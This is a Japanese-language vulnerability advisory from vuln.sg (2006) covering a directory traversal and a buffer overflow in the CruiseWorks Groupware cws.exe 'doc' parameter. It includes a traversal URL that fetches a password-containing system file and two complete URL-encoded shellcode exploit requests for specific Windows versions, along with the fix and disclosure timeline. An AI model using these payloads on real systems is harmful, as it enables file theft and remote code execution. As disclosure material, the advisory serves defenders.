vuln.sg  

vuln.sg Vulnerability Research Advisory

CruiseWorks にディレクトリトラバーサルとバッファオーバーフローの脆弱性

by Tan Chew Keong タン チュー ケオン
Release Date: 2006-10-24

   [en] [jp]

概要

CruiseWorks  にディレクトリトラ バーサルとバッファオーバーフローの脆弱性がありま す。悪意のあるユーザは、この問題を利用しサーバーから任意のファイルをダウンロードされたり、サーバーに任意のコードを実行する可能性があります。


問題を確認したバージョン

CruiseWorks Groupware version 1.09c と 1.09d


問題

この脆弱性報告は、CruiseWorks に2つのセキュリティの脆弱性を公開しました。

1) CruiseWorks cws.exe "doc" パラメータ ディレクトリトラバーサルの脆弱性

CruiseWorks には、"/scripts/cruise/cws.exe" の "doc" パラメータ処理が不十分であるため、 ディレクトリトラバーサルの脆弱性が存在します。 悪意のあるユーザは、この問題を利用しサーバーに他のファイルをダウンロード可能性があります。


例 (パスワードを含むシステムファイルをダウンロードすることができます。ログオンが必要です):

http://192.168.1.111/Scripts/cruise/cws.exe?doc=../data/system.wdb

 

2) CruiseWorks cws.exe "doc" パラメータ バッファオーバーフローの脆弱性

CruiseWorks には、"/scripts/cruise/cws.exe" の "doc" パラメータ処理が不十分であるため、 バッファオーバーフローの脆弱性が存在します。 悪意のあるユーザは、この問題を利用しサーバーに任意のコードを実行する可能性があります。 HTTP Request 中に異常長い "doc" パラメータを受け取るとき、バッファオーバーフロー が発生します。


バッファオーバーフローの脆弱性が cws.exe の以下の似ているの function にあります。

function_42AED0(char *valueOfDocParam)
{
char overflowedBuffer[0x200]; // 512 bytes

...
...
...

// Buffer overflow occurs when length of "doc" parameter > 512 bytes!!!
// Approximately 529 bytes is needed to overwrite saved EIP.

sprintf(overflowedBuffer, "%s\\docs\\%s", getScriptDirectory(), valueOfDocParam);
...
...
}

例:

http://192.168.1.111/Scripts/cruise/cws.exe?doc=AAAAAAAAAA..[約 529 個]..AAAAAAAAA
 

テストメモ

バッファオーバーフローの脆弱の詳細な情報のために、このページを参 照してください。

脆弱性のテストコード

以下は、バッファオーバーフローの脆弱性のテストコードです。このテストコードは、バッファオーバーフローの脆弱性を利用 し サーバーに "\windows\temp\" か "\winnt\temp\" ディレクトリにファイルを作成します。 このテストコードは、英語版のWindows XP SP2 か 日本語版のWindows 2000 SP4 が必要です。

NOTE: The shellcode will also sound the speaker continuously.


バッファオーバーフローの脆弱性の悪用の例 1 (ログオンが必要です):

http://192.168.1.111/Scripts/cruise/cws.exe?doc=%90%EB%5E%60%8B%5C%24%28%8B%73%3C%8B%74%33%78%03%F3%8B%7E
%20%03%FB%8B%4E%18%56%33%D2%8B%37%03%74%24%2C%33%DB%33%C0%AC%85%C0%74%09%C1%CB%0C%D1%CB%03%D8%EB%F0%3B%5C
%24%28%74%0B%83%C7%04%42%E2%DC%5E%33%C0%EB%1A%5E%8B%7E%24%03%7C%24%28%66%8B%04%57%8B%7E%1C%03%7C%24%28%8B
%04%87%01%44%24%28%61%C3%8B%EC%33%C9%B1%C8%2B%E1%B1%30%64%8B%01%8B%40%0C%8B%70%1C%AD%8B%78%08%57%68%33%CA
%8A%5B%E8%80%FF%FF%FF%58%58%33%C9%66%B9%90%01%2B%E1%54%51%FF%D0%8B%F4%03%F0%C7%06%41%41%41%41%C7%46%04%42
%42%42%42%C7%46%08%42%42%42%42%33%DB%89%5E%0C%33%C9%B1%14%B8%01%01%01%01%01%46%08%51%57%BB%A5%17%FF%7C%33
%C0%B0%FF%C1%E0%10%33%D8%53%E8%33%FF%FF%FF%58%58%33%DB%59%8B%D4%51%53%53%6A%02%53%53%53%52%FF%D0%59%E2%CD
%57%68%8E%4E%0E%EC%E8%13%FF%FF%FF%58%58%BB%AA%AA%6C%6C%C1%EB%10%53%68%33%32%2E%64%68%75%73%65%72%54%FF%D0
%8B%F0%56%68%57%A0%B5%BB%E8%EE%FE%FF%FF%58%58%6A%FF%FF%D0%57%68%B0%49%2D%DB%E8%DD%FE%FF%FF%58%58%33%DB%66
%BB%E8%03%53%FF%D0%EB%D7%57%68%7E%D8%E2%73%E8%C5%FE%FF%FF%58%58%FF%D0%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%63%15%f8%77%41%7C%3E%90%7C

バッファオーバーフローの脆弱性の悪用の例 2 (ログオンが必要です):

http://192.168.1.111/scripts/cruise/cws.exe?doc=%90%EB%5E%60%8B%5C%24%28%8B%73%3C%8B%74%33%78%03%F3%8B%7E
%20%03%FB%8B%4E%18%56%33%D2%8B%37%03%74%24%2C%33%DB%33%C0%AC%85%C0%74%09%C1%CB%0C%D1%CB%03%D8%EB%F0%3B%5C
%24%28%74%0B%83%C7%04%42%E2%DC%5E%33%C0%EB%1A%5E%8B%7E%24%03%7C%24%28%66%8B%04%57%8B%7E%1C%03%7C%24%28%8B
%04%87%01%44%24%28%61%C3%8B%EC%33%C9%B1%C8%2B%E1%B1%30%64%8B%01%8B%40%0C%8B%70%1C%AD%8B%78%08%57%68%33%CA
%8A%5B%E8%80%FF%FF%FF%58%58%33%C9%66%B9%90%01%2B%E1%54%51%FF%D0%8B%F4%03%F0%C7%06%41%41%41%41%C7%46%04%42
%42%42%42%C7%46%08%42%42%42%42%33%DB%89%5E%0C%33%C9%B1%14%B8%01%01%01%01%01%46%08%51%57%BB%A5%17%FF%7C%33
%C0%B0%FF%C1%E0%10%33%D8%53%E8%33%FF%FF%FF%58%58%33%DB%59%8B%D4%51%53%53%6A%02%53%53%53%52%FF%D0%59%E2%CD
%57%68%8E%4E%0E%EC%E8%13%FF%FF%FF%58%58%BB%AA%AA%6C%6C%C1%EB%10%53%68%33%32%2E%64%68%75%73%65%72%54%FF%D0
%8B%F0%56%68%57%A0%B5%BB%E8%EE%FE%FF%FF%58%58%6A%FF%FF%D0%57%68%B0%49%2D%DB%E8%DD%FE%FF%FF%58%58%33%DB%66
%BB%E8%03%53%FF%D0%EB%D7%57%68%7E%D8%E2%73%E8%C5%FE%FF%FF%58%58%FF%D0%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%63%15%f8%77%41%7D%C3%40

バッファオーバーフローの脆弱性を利用しサーバーに Windows TEMP ディレクトリにファイルを作成します。

E:\WINDOWS\Temp>dir/w
Volume in drive E has no label.
Volume Serial Number is CC58-3912

Directory of E:\WINDOWS\Temp

[.] [..] AAAABBBBCCCC AAAABBBBDDDD AAAABBBBEEEE
AAAABBBBFFFF AAAABBBBGGGG AAAABBBBHHHH AAAABBBBIIII AAAABBBBJJJJ
AAAABBBBKKKK AAAABBBBLLLL AAAABBBBMMMM AAAABBBBNNNN AAAABBBBOOOO
AAAABBBBPPPP AAAABBBBQQQQ AAAABBBBRRRR AAAABBBBSSSS AAAABBBBTTTT
AAAABBBBUUUU AAAABBBBVVVV
20 File(s) 0 bytes
2 Dir(s) 7,973,191,680 bytes free
 


対策

Version 1.09e へのバージョンアップをしてください。修正版のダ ウンロード


参考情報

http://www.kynos.co.jp/cruise/cws/cwsdownload_upinfo1_09e.html
http://jvn.jp/cert/JVNVU%23176908/index.html
http://jvn.jp/cert/JVNVU%23338652/index.html


発見と報告の経緯

2006年07月19日 - 脆弱性の発見。
2006年07月20日 - ベンダに報告しました。
2006年07月21日 - 再度ベンダに報告しました。
2006年07月25日 - 再度ベンダに報告しました。
2006年07月26日 - 再度ベンダに報告しました。
2006年07月31日 - JPCERT/CC に報告しました。
2006年10月24日 - 本脆弱性の公開。


Contact
For further enquries, comments, suggestions or bug reports, simply email them to